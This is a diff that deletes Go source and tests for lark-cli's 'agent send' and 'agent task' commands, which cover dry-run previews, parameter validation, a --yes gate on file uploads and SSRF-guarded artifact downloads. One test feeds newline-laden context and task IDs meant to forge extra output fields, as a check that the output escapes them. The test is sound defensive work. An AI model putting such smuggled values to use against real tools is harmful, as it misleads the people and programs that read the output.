-				Command:  fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
-				Template: true,
-			}}
-		}
-		// Terminal: suggest reading the final detail / artifacts.
-		return []output.NextAction{{
-			Label:   "查看任务详情与产物",
-			Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
-		}}
-	}
-	return []output.NextAction{{
-		Label:   "轮询任务直到停轮询条件（有界；到点未终止照此再 watch）",
-		Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
-	}}
-}
-
-// defaultWatchTimeout is the bounded poll window meta.next suggests for a
-// still-running task: a safe default that avoids an unbounded --watch blocking
-// forever on a long task and stops an AI caller from self-hammering. On expiry
-// the poll returns the current state (exit 0) plus a fresh watch hint, so the
-// caller re-watches in segments rather than blocking once. `--watch` used alone
-// (--timeout 0) stays unbounded for backward compatibility.
-const defaultWatchTimeout = 30 * time.Second

cmd/agent/send_test.go

@@ -1,451 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
-// non-empty (required for content-safety scanning) and whose --as flag is
-// explicitly set to bot so ResolveAs honors it verbatim.
-func sendCmdCtx(t *testing.T) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: "send"}
-	root.AddCommand(group)
-	group.AddCommand(leaf)
-	leaf.Flags().String("as", "", "identity")
-	if err := leaf.Flags().Set("as", "bot"); err != nil {
-		t.Fatal(err)
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
-// the scripted fakeflow agent agt_x under an explicit bot identity. The
-// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
-// test — everything under test here is command-layer behavior over the
-// scripted provider.
-func sendTestOpts(t *testing.T) *sendOptions {
-	t.Helper()
-	registerScripted()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	return &sendOptions{
-		Factory: f,
-		Cmd:     sendCmdCtx(t),
-		Ref:     "fakeflow:agt_x",
-		As:      "bot",
-	}
-}
-
-// TestSendRequiresText pins that an empty --text is a validation error
-// (subtype invalid_argument) raised before any provider is built.
-func TestSendRequiresText(t *testing.T) {
-	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
-	if err == nil {
-		t.Fatal("missing --text should raise a validation error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// hint contract: a missing --text must carry a copy-pasteable remediation
-	// hint, and the param uses the -- prefix.
-	if !strings.Contains(p.Hint, "--text") {
-		t.Errorf("hint should guide adding --text, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--text" {
-		t.Errorf("param should be --text, got %+v", verr)
-	}
-}
-
-// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
-// validation error, raised before any provider is built.
-func TestSendTaskIDRequiresContextID(t *testing.T) {
-	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
-	if err == nil {
-		t.Fatal("--task-id without --context-id should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// hint contract: state the next step clearly (--task-id must be provided
-	// together with --context-id).
-	if !strings.Contains(p.Hint, "--context-id") {
-		t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--task-id" {
-		t.Errorf("param should be --task-id, got %+v", verr)
-	}
-}
-
-// workingTask is the canonical non-terminal task the scripted Send returns for
-// the happy-path tests.
-func workingTask() *iagent.AgentTask {
-	return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
-}
-
-// TestSendPrettyFormat pins that `send --format pretty` renders the
-// resulting task as key: value lines (previously the flag was registered but
-// silently ignored).
-func TestSendPrettyFormat(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		return workingTask(), nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send --format pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
-// (key: value preview) instead of silently emitting JSON.
-func TestSendDryRunPrettyFormat(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.DryRun = true
-	opts.Format = "pretty"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
-// runs context_id/task_id through kvValue (like every other pretty face), so a
-// value carrying a newline cannot forge an adjacent "key: value" field row.
-func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.DryRun = true
-	opts.Format = "pretty"
-	opts.ContextID = "ctx1\nstate: completed"
-	opts.TaskID = "task1\ndeleted: true"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	// The raw newline must not survive into a forged adjacent row.
-	if strings.Contains(text, "context_id: ctx1\nstate: completed") {
-		t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
-	}
-	if strings.Contains(text, "task_id: task1\ndeleted: true") {
-		t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
-	}
-	// kvValue collapses the newline to a space, keeping the value on one line.
-	if !strings.Contains(text, "context_id: ctx1 state: completed") {
-		t.Errorf("context_id should collapse to one line, got:\n%s", text)
-	}
-	if !strings.Contains(text, "task_id: task1 deleted: true") {
-		t.Errorf("task_id should collapse to one line, got:\n%s", text)
-	}
-}
-
-// TestSendNoParamsRequired pins card v2: the scripted card declares no
-// parameters, so a send without any --param passes card validation — asserted
-// via --dry-run so no provider Send fires. A malformed --param is still a
-// validation error.
-func TestSendNoParamsRequired(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Params = nil
-	opts.DryRun = true
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
-	}
-
-	opts2 := sendTestOpts(t)
-	opts2.Text = "分析销售"
-	opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
-	opts2.DryRun = true
-	err := agentSendRun(opts2)
-	if err == nil {
-		t.Fatal("malformed --param should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-}
-
-// TestSendUnknownParamRejected pins, against an empty-parameters card, that
-// any --param key is unknown → invalid_argument with a hint pointing at
-// `agent card`, raised before any provider Send (asserted via --dry-run with
-// no send hook installed).
-func TestSendUnknownParamRejected(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Params = []string{"app_id=app_1"}
-	opts.DryRun = true
-	err := agentSendRun(opts)
-	if err == nil {
-		t.Fatal("card did not declare app_id, --param app_id should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestSendDryRun pins that --dry-run prints a would_send preview and never
-// calls the provider (no send hook installed → a Send would panic).
-func TestSendDryRun(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.DryRun = true
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	data, ok := env.Data.(map[string]interface{})
-	if !ok {
-		t.Fatalf("data should be an object, got %T", env.Data)
-	}
-	if data["dry_run"] != true {
-		t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
-	}
-	would, ok := data["would_send"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
-	}
-	if would["text"] != "分析销售" {
-		t.Errorf("would_send.text should echo the text, got %v", would["text"])
-	}
-}
-
-// TestSendStartsTask pins the happy path: a single Send fires and returns the
-// submitted / working task in a success envelope immediately (no polling), with
-// a meta.next hint pointing at task get --watch.
-func TestSendStartsTask(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	var gotText string
-	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
-		gotText = in.Text
-		return workingTask(), nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send should not error: %v", err)
-	}
-	if gotText != "分析销售" {
-		t.Errorf("provider should receive the original text, got %q", gotText)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["task_id"] != "chat_1" {
-		t.Errorf("task_id should be chat_1, got %v", data["task_id"])
-	}
-	if data["state"] != string(iagent.StateWorking) {
-		t.Errorf("state should be working, got %v", data["state"])
-	}
-	// meta.next should suggest polling / continuing.
-	if !strings.Contains(string(out.Bytes()), `"next"`) {
-		t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
-	}
-}
-
-// TestSendSendError surfaces a provider Send failure unchanged.
-func TestSendSendError(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "x"
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentSendRun(opts); err == nil {
-		t.Fatal("Send error should propagate")
-	}
-}
-
-// TestSendInvalidRef surfaces a malformed ref as a validation error after the
-// text/task-id guards pass.
-func TestSendInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-}
-
-// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
-// presence of the send-specific flags.
-func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
-	cmd := NewCmdAgentSend(nil, nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
-		t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("agent send with a single ref should be valid: %v", err)
-	}
-	for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("agent send should have --%s flag", name)
-		}
-	}
-	if cmd.Flags().Lookup("wait") != nil {
-		t.Error("agent send --wait should be removed (polling goes through task get --watch)")
-	}
-	// The --file help must point out that files are sent off to the remote
-	// provider (file-egress requirement).
-	fileFlag := cmd.Flags().Lookup("file")
-	if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
-		t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
-	}
-}
-
-// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
-// instead of the production path (construction-time seam).
-func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
-	called := false
-	var captured *sendOptions
-	cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
-		called = true
-		captured = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
-	cmd.SetContext(context.Background())
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("execute should not error: %v", err)
-	}
-	if !called {
-		t.Fatal("runF should be called")
-	}
-	if captured.Ref != "example:agt_x" || captured.Text != "hi" {
-		t.Errorf("opts not populated correctly: %+v", captured)
-	}
-}
-
-// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
-// carrying --file to a provider that supports file upload (the scripted card has
-// file_input=true) requires --yes, so without it the command returns
-// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
-// hook is a tripwire that would panic if the gate let the upload through.
-func TestSend_FileRequiresYes(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"} // no --yes
-
-	err := agentSendRun(opts)
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
-		t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
-	}
-	if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
-		t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
-	}
-}
-
-// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
-// send reaches the provider, which receives the file path.
-func TestSend_FileWithYesProceeds(t *testing.T) {
-	opts := sendTestOpts(t)
-	sent := false
-	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
-		sent = true
-		if len(in.Files) != 1 || in.Files[0] != "local.txt" {
-			t.Errorf("provider should receive the --file path, got %v", in.Files)
-		}
-		return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
-	}})
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"}
-	opts.Yes = true
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send --file --yes should proceed: %v", err)
-	}
-	if !sent {
-		t.Error("provider Send should be reached after --yes")
-	}
-}
-
-// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
-// gate (dry-run never uploads), so it needs no --yes and never reaches the
-// provider (unset send hook stays a tripwire).
-func TestSend_FileDryRunNotGated(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"}
-	opts.DryRun = true // no --yes
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run --file should not be gated: %v", err)
-	}
-}

cmd/agent/task.go

@@ -1,485 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"fmt"
-	"io"
-	"net/http"
-	"strings"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/validate"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// maxArtifactBytes caps a single downloaded artifact to guard against an
-// untrusted host streaming an unbounded body onto local disk.
-const maxArtifactBytes = 256 << 20 // 256 MiB
-
-// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
-// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
-// are wired once; each RunE reads only the fields its verb needs.
-type taskOptions struct {
-	Factory    *cmdutil.Factory
-	Cmd        *cobra.Command
-	Ref        string
-	TaskID     string
-	ContextID  string
-	ArtifactID string
-	Output     string
-	Force      bool
-	Watch      bool
-	Timeout    time.Duration
-	As         string
-	Format     string
-}
-
-// resolveDownload is the DownloadArtifact seam: it resolves the provider
-// addressed by opts under the effective identity, runs the local scope
-// preflight, and fetches the artifact descriptor. Tests swap it to return
-// inline bytes without a Factory / network.
-var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
-	p, id, err := resolveProvider(opts.Factory, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return nil, err
-	}
-	// Capability gate before the API call: a provider that does not wire
-	// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
-	if p.DownloadArtifact == nil {
-		return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
-	}
-	if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
-		return nil, err
-	}
-	return p.DownloadArtifact(opts.Cmd.Context(), opts.TaskID, opts.ArtifactID)
-}
-
-// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
-// its bytes with a download-hardened client. Tests swap it to serve a loopback
-// httptest server (which the production SSRF guard would otherwise block).
-var artifactFetch = fetchArtifactURL
-
-// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
-// Production wraps the base client with the SSRF-hardened redirect/dial rules;
-// tests swap it to pass the (interceptable) base client through unchanged so the
-// request/status/read/limit logic can run against an httpmock transport that the
-// hardened client's transport clone would otherwise discard.
-var hardenDownloadClient = func(base *http.Client) *http.Client {
-	return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
-}
-
-// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
-// tasks on a remote agent. It is a pure group with no RunE so an unknown
-// subcommand is reported rather than silently swallowed.
-func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "task",
-		Short: "Query / list / cancel a remote agent's tasks",
-		Long:  "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
-	}
-	cmd.AddCommand(NewCmdAgentTaskGet(f))
-	cmd.AddCommand(NewCmdAgentTaskList(f))
-	cmd.AddCommand(NewCmdAgentTaskCancel(f))
-	return cmd
-}
-
-// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
-// task's state and artifacts. `--watch` polls until the task reaches a stop
-// condition and the terminal state drives the semantic exit code;
-// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
-// the backward-compatible default). `--artifact <id>` downloads that artifact
-// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
-// and fetched, an inline-bytes artifact is written straight to disk.
-// Risk=read.
-func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "get <agent_ref> <task-id>",
-		Short: "Query a single task's state and artifacts",
-		Long:  "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.TaskID = args[1]
-			return agentTaskGetRun(opts)
-		},
-	}
-	cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件（终态 / 需补输入 / 需补鉴权）再打印最终状态")
-	cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长，如 30s；0=无界（阻塞到终态）；到点未终止则返回当前状态+续 watch 命令")
-	cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id（须配合 -o 指定落盘路径），不打印任务详情")
-	cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径（仅 --artifact 时使用）")
-	cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件（默认拒绝覆盖，防止误毁本地文件）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
-// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
-// meta.count. Risk=read.
-func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list <agent_ref>",
-		Short: "List a remote agent's tasks",
-		Long:  "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentTaskListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
-// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
-// an agent that does not support it (task_cancel=false, e.g. example:echo) the
-// command returns unsupported_capability without contacting the API.
-// Risk=write.
-func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "cancel <agent_ref> <task-id>",
-		Short: "Cancel (interrupt) a remote agent's task",
-		Long:  "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.TaskID = args[1]
-			return agentTaskCancelRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
-	return cmd
-}
-
-// addAsFlag registers the identity flag: the real API-identity flag when a
-// Factory is present, or a bare --as for construction-time unit tests (f nil).
-func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
-		return
-	}
-	cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
-}
-
-// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
-// -o) runs first so it never touches the network and holds under a nil Factory.
-// With `--artifact` it downloads the named artifact to -o; otherwise it
-// fetches the task, optionally polling it to a stop condition under --watch, and
-// emits the task with the terminal state driving the semantic exit code.
-func agentTaskGetRun(opts *taskOptions) error {
-	if opts.ArtifactID != "" {
-		if opts.Output == "" {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"--artifact 需配合 -o/--output 指定落盘路径").
-				WithParam("--output").
-				WithHint("补充 -o <落盘路径> 后重发")
-		}
-		return downloadArtifact(opts)
-	}
-
-	// --timeout only bounds the --watch poll; without --watch it is meaningless.
-	// Guard it client-side (mirrors the send --task-id/--context-id combo check)
-	// so it never touches the network and holds under a nil Factory.
-	if opts.Timeout > 0 && !opts.Watch {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--timeout 需与 --watch 一起使用").
-			WithParam("--timeout").
-			WithHint("--timeout 需与 --watch 一起使用")
-	}
-
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-
-	ctx := opts.Cmd.Context()
-	task, err := p.GetTask(ctx, opts.TaskID)
-	if err != nil {
-		return err
-	}
-
-	if opts.Watch && !task.State.ShouldStopPolling() {
-		// A positive --timeout bounds the poll: pollToStop returns the most recent
-		// task with a nil error when the deadline fires (a timeout is an
-		// observation-window close, not a failure), so a long task degrades to
-		// "current state + a fresh watch hint" instead of blocking forever. 0 =
-		// unbounded (the backward-compatible default). pollToStop is unchanged.
-		pollCtx := ctx
-		if opts.Timeout > 0 {
-			var cancel context.CancelFunc
-			pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
-			defer cancel()
-		}
-		final, perr := pollToStop(pollCtx, p, opts.TaskID)
-		if perr != nil {
-			return perr
-		}
-		if final != nil {
-			task = final
-		}
-	}
-
-	// Derive IsTerminal from State (single source of truth) before any consumer
-	// — emitTask's output and semanticExitError below both read the flag.
-	normalizeTask(task)
-	if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
-		return err
-	}
-	// Under --watch a non-successful terminal state signals exit 1; a
-	// plain get (or a non-terminal stop) is exit 0.
-	if opts.Watch {
-		return semanticExitError(task)
-	}
-	return nil
-}
-
-// agentTaskListRun runs `task list`: resolves the provider, lists tasks
-// (optionally filtered by --context-id) and emits {tasks:[...]} with meta.count.
-func agentTaskListRun(opts *taskOptions) error {
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate before the API call: a provider that does not wire
-	// ListTasks (card task_list=false) returns unsupported_capability.
-	if p.ListTasks == nil {
-		return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	tasks, err := p.ListTasks(opts.Cmd.Context(), opts.ContextID)
-	if err != nil {
-		return err
-	}
-	tasks = normalizeTaskSummaries(tasks)
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		printTaskSummariesTSV(f.IOStreams.Out, tasks)
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"tasks": tasks},
-		Meta:     &output.Meta{Count: len(tasks)},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated before any
-// network access: it resolves the (statically synthesized) Card for ref and, if
-// task_cancel is not supported, returns unsupported_capability without a Factory
-// or API call. Only a supporting provider reaches resolveProvider +
-// CancelTask.
-func agentTaskCancelRun(opts *taskOptions) error {
-	// Gate before requiring a Factory / network: resolve with zero Deps and read
-	// the CancelTask capability (a wired field == card task_cancel=true). An agent
-	// that does not support cancel (e.g. example:echo) returns
-	// unsupported_capability with no Factory or API access.
-	probe, err := iagent.Resolve(opts.Ref, iagent.Deps{})
-	if err != nil {
-		return wrapRefResolveError(err)
-	}
-	if probe.CancelTask == nil {
-		return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
-	}
-
